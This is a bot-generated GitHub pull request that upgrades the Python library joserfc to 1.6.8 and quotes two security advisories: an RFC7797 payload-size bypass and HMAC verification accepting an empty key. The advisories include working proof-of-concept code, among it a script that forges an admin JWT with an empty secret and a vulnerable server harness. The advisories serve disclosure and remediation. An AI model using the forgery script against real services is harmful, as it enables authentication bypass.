Skip to content

fix(deps): update dependency joserfc to v1.6.8 [security]#2054

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-joserfc-vulnerability
Open

fix(deps): update dependency joserfc to v1.6.8 [security]#2054
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-joserfc-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jun 30, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
joserfc ==1.6.4==1.6.8 age confidence

joserfc: b64=false RFC7797 JWS payloads bypass JWSRegistry payload-size limits during deserialization

CVE-2026-48990 / GHSA-wphv-vfrh-23q5

More information

Details

RFC7797 b64=false JWS payloads bypass JWSRegistry payload-size limits during deserialization
Summary

Testing revealed that joserfc accepts oversized RFC7797 b64=false JWS payloads without applying JWSRegistry.max_payload_length.

The normal JWS compact and flattened JSON paths reject payloads above the configured payload-size limit with ExceededSizeError. The RFC7797 unencoded payload paths do not make the same check. A valid b64=false compact or flattened JSON JWS can therefore deserialize successfully with a payload larger than JWSRegistry.max_payload_length.

This creates a moderate availability/resource-exhaustion risk for applications that accept lower-trust JWS values and rely on joserfc to reject oversized token content during verification.

Affected Product
  • Package: joserfc
  • Ecosystem: pip
  • Audited release: 1.6.5
  • Audit tag: 1.6.5
  • Audit commit: 881712980934fb601bed26fe3ae1ec0b7780e6f7
  • Tested affected releases: 1.3.4, 1.3.5, 1.4.2, 1.6.2, 1.6.3, 1.6.4, 1.6.5
  • Fixed release: none known
Vulnerability Details

In joserfc 1.6.5, the default JWS registry has max_payload_length = 128000 and exposes validate_payload_size().

The normal compact extraction path calls that check before base64url-decoding the payload. The RFC7797 compact path validates the header and signature segment sizes, then assigns the unencoded payload directly:

if is_rfc7797_enabled(protected):
    if not payload_segment and payload:
        payload_segment = to_bytes(payload)
    payload = payload_segment

The flattened JSON RFC7797 path has the same pattern:

payload_segment = value["payload"].encode("utf-8")
if is_rfc7797_enabled(member.headers()):
    payload = payload_segment

Neither branch calls registry.validate_payload_size(payload_segment) before accepting the unencoded payload.

Reproduction

The proof below uses only local Python APIs. It signs a payload one byte over the default limit and then compares normal JWS behavior with RFC7797 b64=false behavior.

Requirements:

python -m pip install "joserfc==1.6.5"

Run:

python joserfc_rfc7797_size_bypass_poc.py

Self-contained proof script:

#!/usr/bin/env python3
import json

import joserfc
from joserfc import jws
from joserfc.jwk import OctKey

def check_compact(name, header, payload, key):
    token = jws.serialize_compact(header, payload, key)
    try:
        obj = jws.deserialize_compact(token, key)
        return {
            "case": name,
            "accepted": True,
            "exception": None,
            "payload_len_after_deserialize": len(obj.payload),
        }
    except Exception as exc:
        return {
            "case": name,
            "accepted": False,
            "exception": type(exc).__name__,
            "error": str(exc),
        }

def check_json(name, protected, payload, key):
    data = jws.serialize_json({"protected": protected}, payload, key)
    try:
        obj = jws.deserialize_json(data, key)
        return {
            "case": name,
            "accepted": True,
            "exception": None,
            "payload_len_after_deserialize": len(obj.payload),
        }
    except Exception as exc:
        return {
            "case": name,
            "accepted": False,
            "exception": type(exc).__name__,
            "error": str(exc),
        }

key = OctKey.import_key("secret-secret-secret")
limit = jws.default_registry.max_payload_length
payload = "A" * (limit + 1)

results = {
    "joserfc_version": joserfc.__version__,
    "default_max_payload_length": limit,
    "payload_len": len(payload),
    "compact": [
        check_compact("normal_b64_true", {"alg": "HS256"}, payload, key),
        check_compact(
            "rfc7797_b64_false",
            {"alg": "HS256", "b64": False, "crit": ["b64"]},
            payload,
            key,
        ),
    ],
    "json": [
        check_json("normal_b64_true_json", {"alg": "HS256"}, payload, key),
        check_json(
            "rfc7797_b64_false_json",
            {"alg": "HS256", "b64": False, "crit": ["b64"]},
            payload,
            key,
        ),
    ],
}
print(json.dumps(results, indent=2, sort_keys=True))

Expected output on 1.6.5 includes:

{
  "default_max_payload_length": 128000,
  "payload_len": 128001,
  "compact": [
    {
      "case": "normal_b64_true",
      "accepted": false,
      "exception": "ExceededSizeError"
    },
    {
      "case": "rfc7797_b64_false",
      "accepted": true,
      "exception": null,
      "payload_len_after_deserialize": 128001
    }
  ],
  "json": [
    {
      "case": "normal_b64_true_json",
      "accepted": false,
      "exception": "ExceededSizeError"
    },
    {
      "case": "rfc7797_b64_false_json",
      "accepted": true,
      "exception": null,
      "payload_len_after_deserialize": 128001
    }
  ]
}
Version Checks

I reproduced the same differential behavior on these releases:

Version Normal JWS over limit RFC7797 b64=false over limit
1.3.4 ExceededSizeError accepted
1.3.5 ExceededSizeError accepted
1.4.2 ExceededSizeError accepted
1.6.2 ExceededSizeError accepted
1.6.3 ExceededSizeError accepted
1.6.4 ExceededSizeError accepted
1.6.5 ExceededSizeError accepted

The exact earliest affected release may be broader. The versions above are the releases I directly tested where the JWS size-limit boundary exists and the RFC7797 path bypasses it.

Relationship to Existing Advisories

I found two related public advisories for joserfc, but neither appears to cover this root cause.

GHSA-frfh-8v73-gjg4 / CVE-2025-65015 describes oversized token parts being included in ExceededSizeError messages in older release ranges. The issue described here reproduces in 1.6.5 and is not about exception message content. The oversized RFC7797 payload is accepted instead of raising ExceededSizeError.

GHSA-w5r5-m38g-f9f9 / CVE-2026-27932 describes unbounded PBES2 p2c iteration counts during JWE decryption. The issue described here is in JWS RFC7797 payload extraction and does not involve PBES2 or JWE decryption.

Workarounds

Before a fixed release is available, affected applications can reduce exposure by rejecting oversized serialized JWS inputs before passing them to joserfc, disabling or disallowing RFC7797 b64=false tokens if not needed, and enforcing strict request/header/body size limits at the application or reverse-proxy layer.

Suggested Remediation

Apply registry.validate_payload_size(payload_segment) to RFC7797 unencoded payloads before assigning them to the JWS object in both compact and flattened JSON extraction paths. Detached RFC7797 compact payloads supplied through the payload argument should be checked in the same way.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)

CVE-2026-49852 / GHSA-gg9x-qcx2-xmrh

More information

Details

Summary

joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the
caller-supplied verification key is the empty string or None.
HMACAlgorithm.sign and HMACAlgorithm.verify in
src/joserfc/_rfc7518/jws_algs.py:62-70 feed whatever
OctKey.get_op_key(...) produced into hmac.new(...), and OctKey.import_key
only emits a SecurityWarning when the raw key is shorter than 14 bytes
without rejecting zero-length input. Any application whose JWT secret is
sourced from an unset environment variable, an unset Redis / DB row, a key
finder fallback that returns "", or a Hash.new("")-style default verifies
attacker tokens forged with HMAC(key=b"", signing_input) because the
attacker trivially reproduces the same digest with no secret knowledge.

This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /
CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,
filed 2026-05-13). ruby-jwt v3.2.0 added an ensure_valid_key! precondition
that rejects empty keys at both sign and verify entry; joserfc has no
equivalent. (The same primitive lives in the deprecated authlib.jose
module by the same maintainer; filing this advisory against joserfc
alongside a separate authlib advisory because the codebases are
independent shipping artifacts on PyPI.)

Affected versions

joserfc (PyPI) <= 1.6.7 (latest published release reproduces). No
patched release.

Privilege required

Unauthenticated. Any HTTP / RPC endpoint that calls joserfc.jwt.decode
with a verification key sourced from configuration is reachable. The
condition that makes the bug observable is operator-side: the configured
secret resolves to "" or None. Common patterns that produce this state
in production:

  • OctKey.import_key(os.environ.get("JWT_SECRET", ""))
  • A key finder callable that returns "" / None for an unknown kid
  • Default values like os.getenv("SECRET") or "", cfg.get("secret", "")
  • Database / Redis row lookup that returns "" for a missing row
Vulnerable code

src/joserfc/_rfc7518/jws_algs.py:43-70:

class HMACAlgorithm(JWSAlgModel):
    SHA256 = hashlib.sha256
    SHA384 = hashlib.sha384
    SHA512 = hashlib.sha512

    def __init__(self, sha_type, recommended=False):
        self.name = f"HS{sha_type}"
        self.description = f"HMAC using SHA-{sha_type}"
        self.recommended = recommended
        self.hash_alg = getattr(self, f"SHA{sha_type}")
        self.algorithm_security = sha_type

    def sign(self, msg: bytes, key: OctKey) -> bytes:
        op_key = key.get_op_key("sign")
        return hmac.new(op_key, msg, self.hash_alg).digest()

    def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
        op_key = key.get_op_key("verify")
        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
        return hmac.compare_digest(sig, v_sig)

src/joserfc/_rfc7518/oct_key.py:52-63:

@&#8203;classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
    if len(key.raw_value) < 14:
        # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final
        warnings.warn("Key size should be >= 112 bits", SecurityWarning)
    return key

The < 14 check only warns; len(key.raw_value) == 0 falls through and is
returned to the caller. HMACAlgorithm.verify then calls
hmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest()),
and Python's hmac.new(b"", ...) accepts the empty key.

Cross-language sibling of ruby-jwt's fix in lib/jwt/jwa/hmac.rb:

def ensure_valid_key!(key)
  raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)
  raise_verify_error!('HMAC key cannot be empty') if key.empty?
end

invoked from both sign(signing_key:) and verify(verification_key:).
PyJWT landed an equivalent guard in 2.13.0 (HMACAlgorithm.prepare_key
raises InvalidKeyError("HMAC key must not be empty.") for len(key_bytes) == 0).
firebase/php-jwt rejects empty material in Key.__construct. jjwt enforces a
256-bit minimum in DefaultMacAlgorithm.validateKey. joserfc has the
strongest existing length-warning logic but stops at < 14 bytes warn
rather than == 0 reject.

How an empty JWT_SECRET reaches hmac.new
  1. The application calls joserfc.jwt.decode(value, key, algorithms=["HS256"])
    where key = OctKey.import_key("") (or OctKey.import_key(b""),
    or any custom path that yields an OctKey whose raw_value is b"").
  2. decode (src/joserfc/jwt.py:86-117) calls _decode_jws(...)
    deserialize_compact(value, key, algorithms, registry).
  3. deserialize_compact (src/joserfc/jws.py) dispatches to
    HMACAlgorithm.verify(signing_input, signature, key).
  4. verify calls key.get_op_key("verify") → returns b"".
  5. hmac.new(b"", signing_input, sha256).digest() is computed; the
    attacker computed exactly that digest with the same empty key, so
    hmac.compare_digest returns True and decode succeeds.

No upstream nil-check, no length check, no schema rejection. The path is
reached from the public joserfc.jwt.decode API.

Proof of concept

Attacker (no secret knowledge):

import base64, hmac, hashlib, json, time
def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
now = int(time.time())
payload = b64url(json.dumps({
    "sub": "attacker", "admin": True,
    "iat": now, "exp": now + 600,
}).encode())
signing_input = header + b"." + payload
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
forged = signing_input + b"." + b64url(sig)
print(forged.decode())

Server harness:

##### server.py
from joserfc import jwt
from joserfc.jwk import OctKey
import os
from wsgiref.simple_server import make_server

def app(environ, start_response):
    auth = environ.get("HTTP_AUTHORIZATION", "")
    token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else ""
    key = OctKey.import_key(os.environ.get("JWT_SECRET", ""))  # default = ""
    try:
        tok = jwt.decode(token, key, algorithms=["HS256"])
        c = tok.claims
        body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode()
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [body]
    except Exception as e:
        start_response("401 Unauthorized", [("Content-Type", "text/plain")])
        return [("DENY: %s\n" % e).encode()]

make_server("127.0.0.1", 8383, app).serve_forever()
End-to-end reproduction (against pip install joserfc==1.6.7)
##### 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret
#####    state.
python3.12 -m venv venv
./venv/bin/pip install joserfc==1.6.7
./venv/bin/python server.py &   # listens on :8383

##### 2. Run the attacker
./venv/bin/python attacker.py

Captured run output (canonical pre-fix run, joserfc 1.6.7,
poc-attacker-empty-20260523-150949.log):

forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY
HTTP 200
OK: sub='attacker' admin=True

Control (real 256-bit secret, poc-control-realkey-20260523-150959.log):

forged token: eyJhbGciOiAiSFMyNTYi...
HTTP 401
DENY: BadSignatureError: bad_signature:

Interpretation:

Configuration Observed Expected
JWT_SECRET unset (== "") HTTP 200, admin=True (verified) HTTP 401
JWT_SECRET = 256-bit value HTTP 401, BadSignatureError HTTP 401

The first row demonstrates that an attacker with zero knowledge of the
verification secret reaches the protected path by signing with the empty
key. The second row confirms the verifier behaves correctly when the
secret is non-empty, proving the bug is gated only on the secret being
empty rather than on any structural defect in the attacker's token.

Fix verification: with the suggested empty-key reject wired into
HMACAlgorithm.sign / .verify, the empty-secret server re-run rejects
the same forged token with ValueError: HMAC key must not be empty.

Impact
  • Complete authentication bypass on any service whose key finder resolves
    to "" / None (env var unset, DB row missing, fallback). Attacker
    forges arbitrary claims (sub, admin, scopes, audience, expiry).
  • The misconfiguration that triggers the bug is silent: the server does
    not fail to boot, joserfc emits a single SecurityWarning ("Key size
    should be >= 112 bits") at OctKey.import_key time and then proceeds.
  • Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high).
    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N — AC:H because of the
    operator-misconfiguration precondition; impact otherwise matches
    authentication bypass.
Suggested fix

Upgrade the existing < 14 bytes warning in OctKey.import_key to a hard
reject at len(key.raw_value) == 0, plus a defence-in-depth check in
HMACAlgorithm.sign and HMACAlgorithm.verify after
key.get_op_key(...):

##### src/joserfc/_rfc7518/oct_key.py
@&#8203;classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
    key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
    if not key.raw_value:
        raise ValueError("oct key material must not be empty")
    if len(key.raw_value) < 14:
        warnings.warn("Key size should be >= 112 bits", SecurityWarning)
    return key

##### src/joserfc/_rfc7518/jws_algs.py
class HMACAlgorithm(JWSAlgModel):
    ...
    def sign(self, msg: bytes, key: OctKey) -> bytes:
        op_key = key.get_op_key("sign")
        if not op_key:
            raise ValueError("HMAC key must not be empty")
        return hmac.new(op_key, msg, self.hash_alg).digest()

    def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
        op_key = key.get_op_key("verify")
        if not op_key:
            raise ValueError("HMAC key must not be empty")
        v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
        return hmac.compare_digest(sig, v_sig)

The two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in
prepare_key, plus the runtime length checks the underlying hmac
primitive does not perform).

Fix PR

authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1 (temp private fork PR), branch
fix/hmac-reject-empty-key, base main. URL:
https://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1

Credit

Reported by tonghuaroot.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

authlib/joserfc (joserfc)

v1.6.8

Compare Source

  • Reject empty OctKey.

Full Changelog: authlib/joserfc@1.6.7...1.6.8

v1.6.7

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.6.5

Compare Source

No significant changes

    View changes on GitHub

Configuration

📅 Schedule: (in timezone America/Toronto)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot force-pushed the renovate/pypi-joserfc-vulnerability branch from 519d941 to 44565bc Compare July 7, 2026 16:43
@renovate renovate Bot changed the title fix(deps): update dependency joserfc to v1.6.7 [security] fix(deps): update dependency joserfc to v1.6.8 [security] Jul 7, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants